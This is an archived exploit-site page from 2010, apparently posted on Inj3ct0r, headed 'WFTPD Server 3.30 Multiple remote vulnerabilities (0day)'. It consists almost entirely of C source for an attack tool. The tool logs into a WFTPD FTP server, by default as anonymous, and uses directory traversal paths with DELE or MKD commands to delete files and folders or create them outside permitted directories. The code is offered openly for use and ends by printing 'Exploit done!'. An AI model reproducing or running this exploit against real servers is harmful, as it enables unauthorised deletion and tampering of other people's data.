Home / os / win7

WFTPD Server 3.30 Multiple remote vulnerabilities (0day)

Posted on 13 May 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>WFTPD Server 3.30 Multiple remote vulnerabilities (0day)</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>======================================================== WFTPD Server 3.30 Multiple remote vulnerabilities (0day) ======================================================== #include&lt;stdio.h&gt; #include&lt;sys/types.h&gt; #include&lt;sys/socket.h&gt; #include&lt;netinet/in.h&gt; #include&lt;unistd.h&gt; #define ALOC(tip,n) (tip*)malloc(sizeof(tip)*n) #define POCNAME &quot;[*]WFTPD 3.30 Multiple remote vulnerabilities(0day)&quot; #define AUTHOR &quot;[*]fl0 fl0w&quot; typedef int i32; typedef char i8; typedef short i16; enum { True=1, False=0, Error=-1 }; struct { i8 *USERx, *PASSx, *HOST; i16 PORTx; }def; i8 *USER=0,*PASS=0,*dir=0,*host_addr=0, sendbytes[250],recev[250]; i16 PORT=0,option; i32 args(i32 argc,i8** argv){ i32 i; argc--; for(i=1;i&lt;argc;i++){ switch(argv[i][1]){ case 'h': host_addr=argv[++i]; break; case 'u': USER=argv[++i]; break; case 'w': PASS=argv[++i]; break; case 'p': PORT=atoi(argv[++i]); break; case 'o': option=atoi(argv[++i]); break; default:{ printf(&quot;error with argument nr %d:(%s) &quot;,i,argv[i]); return Error; exit(0); } } } // printf(&quot; %s %s %s %d %d %s &quot;,host_addr,USER,PASS,PORT,option,argv[argc]); return 1; } void bf_error(i8* B){ i32 e; if(B==NULL) e=0; else e=1; } void syntax(){ i8 *help[]={&quot; -h hostname&quot;, &quot; -u Username&quot;, &quot; -w watchword(password)&quot;, &quot; -p port(default 21)&quot;, &quot; -o option:&quot;, &quot; 1 - delete folder,files&quot;, &quot; 2 - make folder&quot;, &quot; ../ move up 1 dir ../../ move up 2 dirs etc&quot; /*directory transversal*/ }; i32 i; size_t com=sizeof help / sizeof help[0]; for(i=0;i&lt;com;i++){ printf(&quot;%s &quot;,help[i]); } } void defaults(){ def.HOST=&quot;localhost&quot;; def.PASSx=&quot;hacker&quot;; def.USERx=&quot;anonymous&quot;; def.PORTx=21; //printf(&quot;%s %s %s %d&quot;,def.HOST,def.PASSx,def.USERx,def.PORTx); } i32 main(i32 argc,i8** argv){ if(argc&lt;3){ printf(&quot;%s %s &quot;,POCNAME,AUTHOR); printf(&quot; Too few arguments syntax is: &quot;); syntax(); exit(0); } args(argc,argv); i32 sok, svcon, sokaddr; printf(&quot;[*]Starting ... &quot;); struct sockaddr_in sockaddr_sok; sokaddr = sizeof(sockaddr_sok); sockaddr_sok.sin_family = AF_INET; sockaddr_sok.sin_addr.s_addr = inet_addr(host_addr); sockaddr_sok.sin_port = htons(PORT); sok=socket(AF_INET,SOCK_STREAM,0); if(sok==-1){ printf(&quot;[*]FAILED SOCKET &quot;); exit(0); } svcon=connect(sok,(struct sockaddr*)&amp;sockaddr_sok,sokaddr); i8 use[10]; if(svcon!=-1){ sprintf(sendbytes, &quot;USER %s &quot;,USER); if(send(sok,sendbytes,strlen(sendbytes),0) == -1){ printf(&quot;User send error &quot;); shutdown(sok,1); exit(0); }else { memset(sendbytes,0,250); recv(sok,recev,sizeof(recev),0); } sprintf(sendbytes, &quot;PASS %s &quot;,PASS); if(send(sok,sendbytes,strlen(sendbytes),0) == -1){ printf(&quot;Password send error &quot;); shutdown(sok,1); exit(0); }else { memset(sendbytes,0,250); recv(sok,recev,sizeof(recev),0); printf(&quot;%s &quot;,recev); } sprintf(sendbytes, &quot;SYST &quot;); if(send(sok,sendbytes,strlen(sendbytes),0) == -1){ printf(&quot;Syst send error &quot;); shutdown(sok,1); exit(0); }else { memset(sendbytes,0,250); recv(sok,recev,sizeof(recev),0); } if(option==1){ sprintf(sendbytes,&quot;DELE %s &quot;,argv[11]); if(send(sok,sendbytes,strlen(sendbytes),0) == -1){ printf(&quot;Syst send error &quot;); shutdown(sok,1); exit(0); }else { memset(sendbytes,0,250); recv(sok,recev,sizeof(recev),0); } }else if(option==2){ sprintf(sendbytes,&quot;MKD %s &quot;,argv[11]); if(send(sok,sendbytes,strlen(sendbytes),0) == -1){ printf(&quot;Syst send error &quot;); shutdown(sok,1); exit(0); }else { memset(sendbytes,0,250); recv(sok,recev,sizeof(recev),0); } } }else printf(&quot;Connect error &quot;); printf(&quot;[*]Exploit done!&quot;); return 0; } # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-13]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP